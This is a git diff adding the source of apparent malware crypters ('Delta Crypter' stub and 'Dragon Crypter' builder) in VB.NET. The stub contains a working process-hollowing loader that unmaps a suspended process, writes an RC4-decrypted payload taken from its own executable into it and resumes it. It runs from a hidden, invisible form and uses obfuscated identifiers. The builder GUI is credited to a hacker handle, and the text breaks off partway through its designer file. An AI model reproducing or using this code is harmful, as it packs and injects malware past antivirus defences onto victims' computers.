{C9AD24EE-8103-41CB-808A-5FEED9E94546}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C9AD24EE-8103-41CB-808A-5FEED9E94546}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C9AD24EE-8103-41CB-808A-5FEED9E94546}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C9AD24EE-8103-41CB-808A-5FEED9E94546}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Delta Crypter/st/9372.v12.suo b/scode (Delta Crypter/st/9372.v12.suo new file mode 100644 index 0000000..ebaa8f1 Binary files /dev/null and b/scode (Delta Crypter/st/9372.v12.suo differ diff --git a/scode (Delta Crypter/st/9372/9372.vbproj b/scode (Delta Crypter/st/9372/9372.vbproj new file mode 100644 index 0000000..fb7c32e --- /dev/null +++ b/scode (Delta Crypter/st/9372/9372.vbproj @@ -0,0 +1,134 @@ + + + + + Debug + AnyCPU + {C9AD24EE-8103-41CB-808A-5FEED9E94546} + WinExe + WindowsApplication1.My.MyApplication + WindowsApplication1 + 9372 + 512 + WindowsForms + v4.5 + + + AnyCPU + true + full + true + true + bin\Debug\ + 9372.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + 9372.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + Resources\connect_10101.ico + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/scode (Delta Crypter/st/9372/9372.vbproj.user b/scode (Delta Crypter/st/9372/9372.vbproj.user new file mode 100644 index 0000000..b4af33b --- /dev/null +++ b/scode (Delta Crypter/st/9372/9372.vbproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/scode (Delta Crypter/st/9372/App.config b/scode (Delta Crypter/st/9372/App.config new file mode 100644 index 0000000..49c50e0 --- /dev/null +++ b/scode (Delta Crypter/st/9372/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/scode (Delta Crypter/st/9372/Class1.vb b/scode (Delta Crypter/st/9372/Class1.vb new file mode 100644 index 0000000..55415fe --- /dev/null +++ b/scode (Delta Crypter/st/9372/Class1.vb @@ -0,0 +1,183 @@ +Imports System.Text +Imports System.Runtime.InteropServices + + +Public Class nRUQwszQtZv + + Public Declare Function ccNmSd Lib "kernel32" Alias "LoadLibraryA" (ByVal eNpY As String) As IntPtr + + Public Declare Function ZPIvHg Lib "kernel32" Alias "GetProcAddress" (ByVal HYDS As IntPtr, ByVal eNpY As String) As IntPtr + + Function AKrQtfwNafcuZMC(Of T)(ByVal eNpY As String, ByVal KqIZ As String) As T + + Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(ZPIvHg(ccNmSd(eNpY), KqIZ), GetType(T)), Object), T) + + End Function + + Delegate Function NEWbls(ByVal GrSl As IntPtr, ByVal DvsSmCNwq As UInteger()) As Boolean + + Delegate Function LkAypv(ByVal Brcx As IntPtr, ByVal kFPZ As IntPtr) As UInteger + + Delegate Function QzsiG(ByVal Brcx As IntPtr, ByVal kFPZ As IntPtr, ByRef bufr As IntPtr, ByVal bufrLMmOWuIGo As Integer, ByRef VOJv As IntPtr) As Boolean + + Delegate Function beeIJe(ByVal GrSlead As IntPtr, ByVal MQdT As IntPtr) As UInteger + + Delegate Function fYVgva(ByVal GrSl As IntPtr, ByVal DvsSmCNwq As UInteger()) As Boolean + + Delegate Function tJbtGM(ByVal Brcx As IntPtr, ByVal stwV As IntPtr, ByVal LMmOWuIGo As IntPtr, ByVal bGjx As Integer, ByVal otGh As Integer) As IntPtr + + Delegate Function zvCeHG(ByVal Brcxess As IntPtr, ByVal CIHVRDTJu As IntPtr, ByVal DRxr As Byte(), ByVal nLMmOWuIGo As UInteger, ByVal ZmvvugQrs As Integer) As Boolean + + Public Declare Auto Function PYsFhq Lib "kernel32" Alias "CreateProcessW" (ByVal juQs As String, ByVal SHDV As StringBuilder, ByVal EtjHrbVPn As IntPtr, ByVal fvaE As IntPtr, ByVal vSRP As Boolean, ByVal bvkQ As Integer, ByVal JIXs As IntPtr, ByVal Wwuc As String, ByVal mUlm As Byte(), ByVal SxEo As IntPtr()) As Boolean + + Private Function CUONBdg(ByVal EicPHAI As Long, Optional ByVal zHJWqgy As Long = &H4) As Integer + + Dim pPlVVQW As IntPtr + + Dim WrvMNJf As Integer + + Dim dxrbJ As QzsiG = AKrQtfwNafcuZMC(Of QzsiG)("ntdll", "NtReadVirtualMemory") + + Call dxrbJ(Process.GetCurrentProcess.Handle, EicPHAI, pPlVVQW, zHJWqgy, WrvMNJf) + + Return pPlVVQW + + End Function + + Public Function FDZdjwfivt(ByVal RyNzXofs As Byte(), ByVal LHnyduYH As String) As Boolean + + Try + + Dim suFgEOulf As GCHandle = GCHandle.Alloc(RyNzXofs, GCHandleType.Pinned) : Dim hModuleBase As Integer = suFgEOulf.AddrOfPinnedObject : suFgEOulf.Free() + + Dim EtjHrbVPn As IntPtr = IntPtr.Zero + + Dim yORygHbKj As IntPtr() = New IntPtr(3) {} + + Dim PNlNyQemb As Byte() = New Byte(67) {} + + Dim wjwnwJDlS As Integer = BitConverter.ToInt32(RyNzXofs, 60) + + Dim BcfmeCDa As Integer + + Dim DvsSmCNwq As UInteger() = New UInteger(178) {} + + DvsSmCNwq(0) = &H10002 + + PYsFhq(Nothing, New StringBuilder(LHnyduYH), EtjHrbVPn, EtjHrbVPn, False, 4, EtjHrbVPn, Nothing, PNlNyQemb, yORygHbKj) + + Dim gcMltzeuu As Integer = (hModuleBase + CUONBdg(hModuleBase + &H3C)) + + BcfmeCDa = CUONBdg(gcMltzeuu + &H34) + + Dim pUkmP As LkAypv = AKrQtfwNafcuZMC(Of LkAypv)("ntdll", "NtUnmapViewOfSection") + + pUkmP(yORygHbKj(0), BcfmeCDa) + + Dim VxDnC As tJbtGM = AKrQtfwNafcuZMC(Of tJbtGM)("kernel32", "VirtualAllocEx") + + Dim CIHVRDTJu As IntPtr = VxDnC(yORygHbKj(0), BcfmeCDa, CUONBdg(gcMltzeuu + &H50), &H3000, &H40) + + Dim utTLfsQD As New IntPtr(BitConverter.ToInt32(RyNzXofs, wjwnwJDlS + &H34)) + + Dim LMmOWuIGo As New IntPtr(BitConverter.ToInt32(RyNzXofs, wjwnwJDlS + 80)) + + Dim bSXQaEhxM As Integer + + Dim ZmvvugQrs As Integer + + Dim api8 As zvCeHG = AKrQtfwNafcuZMC(Of zvCeHG)("ntdll", "NtWriteVirtualMemory") + + api8(yORygHbKj(0), CIHVRDTJu, RyNzXofs, CUInt(CInt(CUONBdg(gcMltzeuu + &H54))), bSXQaEhxM) + + For i = 0 To CUONBdg(gcMltzeuu + &H6, 2) - 1 + + Dim PSkesQOmA As Integer() = New Integer(9) {} + + Buffer.BlockCopy(RyNzXofs, (wjwnwJDlS + &HF8) + (i * 40), PSkesQOmA, 0, 40) + + Dim kiJBOVjaG As Byte() = New Byte((PSkesQOmA(4) - 1)) {} + + Buffer.BlockCopy(RyNzXofs, PSkesQOmA(5), kiJBOVjaG, 0, kiJBOVjaG.Length) + + LMmOWuIGo = New IntPtr(CIHVRDTJu.ToInt32() + PSkesQOmA(3)) + + utTLfsQD = New IntPtr(kiJBOVjaG.Length) + + api8(yORygHbKj(0), LMmOWuIGo, kiJBOVjaG, CUInt(utTLfsQD), ZmvvugQrs) + + Next i + + Dim WmwvT As NEWbls = AKrQtfwNafcuZMC(Of NEWbls)("ntdll", "NtGetContextThread") + + WmwvT(yORygHbKj(1), DvsSmCNwq) + + api8(yORygHbKj(0), DvsSmCNwq(41) + &H8, BitConverter.GetBytes(CIHVRDTJu.ToInt32()), CUInt(&H4), ZmvvugQrs) + + DvsSmCNwq(&H2C) = BcfmeCDa + CUONBdg(gcMltzeuu + &H28) + + Dim MFfmh As fYVgva = AKrQtfwNafcuZMC(Of fYVgva)("ntdll", "NtSetContextThread") + + MFfmh(yORygHbKj(1), DvsSmCNwq) + + Dim AomsW As beeIJe = AKrQtfwNafcuZMC(Of beeIJe)("ntdll", "NtResumeThread") + + AomsW(yORygHbKj(1), 0) + + Catch ex As Exception + + Return False + + End Try + + Return True + + End Function + +End Class + +Public Class Class1 + Public Shared Function ɯɫɔȪɑɦᾝᾂὭὝᾃᾔᾚᾧᾣὧὯᾅῇ(ByVal message As String, ByVal password As String) As String + Dim i As Integer = 0 + Dim j As Integer = 0 + Dim cipher As New StringBuilder + Dim returnCipher As String = String.Empty + Dim sbox As Integer() = New Integer(256) {} + Dim key As Integer() = New Integer(256) {} + Dim intLength As Integer = password.Length + Dim a As Integer = 0 + While a <= 255 + Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) + key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + sbox(a) = a + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + Dim x As Integer = 0 + Dim b As Integer = 0 + While b <= 255 + x = (x + sbox(b) + key(b)) Mod 256 + Dim tempSwap As Integer = sbox(b) + sbox(b) = sbox(x) + sbox(x) = tempSwap + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + End While + a = 1 + While a <= message.Length + Dim itmp As Integer = 0 + i = (i + 1) Mod 256 + j = (j + sbox(i)) Mod 256 + itmp = sbox(i) + sbox(i) = sbox(j) + sbox(j) = itmp + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + itmp = Asc(ctmp) + Dim cipherby As Integer = itmp Xor k + cipher.Append(Chr(cipherby)) + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + returnCipher = cipher.ToString + cipher.Length = 0 + Return returnCipher + End Function +End Class diff --git a/scode (Delta Crypter/st/9372/Form1.Designer.vb b/scode (Delta Crypter/st/9372/Form1.Designer.vb new file mode 100644 index 0000000..2875b1a --- /dev/null +++ b/scode (Delta Crypter/st/9372/Form1.Designer.vb @@ -0,0 +1,41 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.SuspendLayout() + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(104, 0) + Me.Name = "Form1" + Me.Opacity = 0.0R + Me.ShowInTaskbar = False + Me.Text = "Form1" + Me.WindowState = System.Windows.Forms.FormWindowState.Minimized + Me.ResumeLayout(False) + + End Sub + +End Class diff --git a/scode (Delta Crypter/st/9372/Form1.resx b/scode (Delta Crypter/st/9372/Form1.resx new file mode 100644 index 0000000..29dcb1b --- /dev/null +++ b/scode (Delta Crypter/st/9372/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Delta Crypter/st/9372/Form1.vb b/scode (Delta Crypter/st/9372/Form1.vb new file mode 100644 index 0000000..8cc6610 --- /dev/null +++ b/scode (Delta Crypter/st/9372/Form1.vb @@ -0,0 +1,29 @@ +Imports System.Text +Imports System.IO + +Public Class Form1 + + + Dim ῘᾘύάᾂᾐᾢᾪᾙᾜᾖᾔάὪὮᾫ As String = "424234232dd2d32333234f" + + + + Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load + + FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + Dim ẖẏẆṨṐẍỘẬỒἔἏἙể As String + ẖẏẆṨṐẍỘẬỒἔἏἙể = Space(LOF(1)) + FileGet(1, ẖẏẆṨṐẍỘẬỒἔἏἙể) + FileClose(1) + + + Dim 寸尭屛屫屝山屄屏尥尉尮局屛屙屏屇屁尲尲尯屘屬屭() As String = Split(ẖẏẆṨṐẍỘẬỒἔἏἙể, ῘᾘύάᾂᾐᾢᾪᾙᾜᾖᾔάὪὮᾫ) + 寸尭屛屫屝山屄屏尥尉尮局屛屙屏屇屁尲尲尯屘屬屭(1) = Class1.ɯɫɔȪɑɦᾝᾂὭὝᾃᾔᾚᾧᾣὧὯᾅῇ(寸尭屛屫屝山屄屏尥尉尮局屛屙屏屇屁尲尲尯屘屬屭(1), "UAUAYwyhausid32E2Isisd") + + Dim 荅荂茇茂茟茨茾荆茮茽茽荻荿荩药荩莏莋 As Byte() = Encoding.Default.GetBytes(寸尭屛屫屝山屄屏尥尉尮局屛屙屏屇屁尲尲尯屘屬屭(1)) + + Dim x As New nRUQwszQtZv : x.FDZdjwfivt(荅荂茇茂茟茨茾荆茮茽茽荻荿荩药荩莏莋, Application.ExecutablePath) + + Me.Close() + End Sub +End Class diff --git a/scode (Delta Crypter/st/9372/My Project/Application.Designer.vb b/scode (Delta Crypter/st/9372/My Project/Application.Designer.vb new file mode 100644 index 0000000..6fd64a8 --- /dev/null +++ b/scode (Delta Crypter/st/9372/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.WindowsApplication1.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Delta Crypter/st/9372/My Project/Application.myapp b/scode (Delta Crypter/st/9372/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Delta Crypter/st/9372/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Delta Crypter/st/9372/My Project/AssemblyInfo.vb b/scode (Delta Crypter/st/9372/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..ee5139d --- /dev/null +++ b/scode (Delta Crypter/st/9372/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Delta Crypter/st/9372/My Project/Resources.Designer.vb b/scode (Delta Crypter/st/9372/My Project/Resources.Designer.vb new file mode 100644 index 0000000..2e6629d --- /dev/null +++ b/scode (Delta Crypter/st/9372/My Project/Resources.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("WindowsApplication1.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized resource of type System.Drawing.Icon similar to (Icon). + ''' + Friend ReadOnly Property connect_10101() As System.Drawing.Icon + Get + Dim obj As Object = ResourceManager.GetObject("connect_10101", resourceCulture) + Return CType(obj,System.Drawing.Icon) + End Get + End Property + End Module +End Namespace diff --git a/scode (Delta Crypter/st/9372/My Project/Resources.resx b/scode (Delta Crypter/st/9372/My Project/Resources.resx new file mode 100644 index 0000000..2b139c0 --- /dev/null +++ b/scode (Delta Crypter/st/9372/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\connect_10101.ico;System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/scode (Delta Crypter/st/9372/My Project/Settings.Designer.vb b/scode (Delta Crypter/st/9372/My Project/Settings.Designer.vb new file mode 100644 index 0000000..b41a776 --- /dev/null +++ b/scode (Delta Crypter/st/9372/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18444 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.WindowsApplication1.My.MySettings + Get + Return Global.WindowsApplication1.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Delta Crypter/st/9372/My Project/Settings.settings b/scode (Delta Crypter/st/9372/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Delta Crypter/st/9372/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Delta Crypter/st/9372/Resources/connect_10101.ico b/scode (Delta Crypter/st/9372/Resources/connect_10101.ico new file mode 100644 index 0000000..7aeae22 Binary files /dev/null and b/scode (Delta Crypter/st/9372/Resources/connect_10101.ico differ diff --git a/scode (Dragon Crypter/.DS_Store b/scode (Dragon Crypter/.DS_Store new file mode 100644 index 0000000..3860292 Binary files /dev/null and b/scode (Dragon Crypter/.DS_Store differ diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/3xhumed-Mega-Games-Pack-31-Dragon-Age-Origins-new-4.ico b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/3xhumed-Mega-Games-Pack-31-Dragon-Age-Origins-new-4.ico new file mode 100644 index 0000000..4311454 Binary files /dev/null and b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/3xhumed-Mega-Games-Pack-31-Dragon-Age-Origins-new-4.ico differ diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı].vbproj b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı].vbproj new file mode 100644 index 0000000..301882c --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı].vbproj @@ -0,0 +1,133 @@ + + + + + Debug + AnyCPU + {BC1DA833-098D-4E25-B323-1A507728D320} + WinExe + Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.My.MyApplication + Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_ + Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı] + 512 + WindowsForms + v2.0 + + + AnyCPU + true + full + true + true + bin\Debug\ + Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı].xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı].xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + 3xhumed-Mega-Games-Pack-31-Dragon-Age-Origins-new-4.ico + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + Component + + + Component + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + \ No newline at end of file diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı].vbproj.user b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı].vbproj.user new file mode 100644 index 0000000..5bef86d --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı].vbproj.user @@ -0,0 +1,6 @@ + + + + ProjectFiles + + \ No newline at end of file diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.Designer.vb b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.Designer.vb new file mode 100644 index 0000000..ee10959 --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Form1.Designer.vb @@ -0,0 +1,423 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.StTheme1 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STTheme() + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.LogInProgressBar1 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInProgressBar() + Me.StControlButton2 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STControlButton() + Me.StControlButton1 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STControlButton() + Me.LogInNormalTextBox2 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInNormalTextBox() + Me.LogInNormalTextBox1 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInNormalTextBox() + Me.StButton4 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STButton() + Me.LogInGroupBox2 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInGroupBox() + Me.StCheckBox5 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox() + Me.StCheckBox4 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox() + Me.StCheckBox3 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox() + Me.StCheckBox2 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox() + Me.StCheckBox1 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STCheckBox() + Me.StButton3 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STButton() + Me.StButton2 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STButton() + Me.StButton1 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.STButton() + Me.LogInNormalTextBox3 = New Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.LogInNormalTextBox() + Me.StTheme1.SuspendLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.LogInGroupBox2.SuspendLayout() + Me.SuspendLayout() + ' + 'StTheme1 + ' + Me.StTheme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer)) + Me.StTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.StTheme1.Controls.Add(Me.PictureBox1) + Me.StTheme1.Controls.Add(Me.LogInProgressBar1) + Me.StTheme1.Controls.Add(Me.StControlButton2) + Me.StTheme1.Controls.Add(Me.StControlButton1) + Me.StTheme1.Controls.Add(Me.LogInNormalTextBox2) + Me.StTheme1.Controls.Add(Me.LogInNormalTextBox1) + Me.StTheme1.Controls.Add(Me.StButton4) + Me.StTheme1.Controls.Add(Me.LogInGroupBox2) + Me.StTheme1.Controls.Add(Me.StButton3) + Me.StTheme1.Controls.Add(Me.StButton2) + Me.StTheme1.Controls.Add(Me.StButton1) + Me.StTheme1.Controls.Add(Me.LogInNormalTextBox3) + Me.StTheme1.Font = New System.Drawing.Font("Times New Roman", 9.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.StTheme1.Name = "StTheme1" + Me.StTheme1.Radius = 5 + Me.StTheme1.Size = New System.Drawing.Size(415, 502) + Me.StTheme1.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.StTheme1.Title = " Dragon Crypter By [ıllıllıMя.HackeяsDzıllıllı]" + Me.StTheme1.TitleColorBack = System.Drawing.Color.Black + Me.StTheme1.TitleColorFront = System.Drawing.Color.White + Me.StTheme1.TopMost = False + Me.StTheme1.TransparencyKey = System.Drawing.Color.Magenta + ' + 'PictureBox1 + ' + Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image) + Me.PictureBox1.Location = New System.Drawing.Point(12, 32) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(391, 114) + Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage + Me.PictureBox1.TabIndex = 19 + Me.PictureBox1.TabStop = False + ' + 'LogInProgressBar1 + ' + Me.LogInProgressBar1.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + 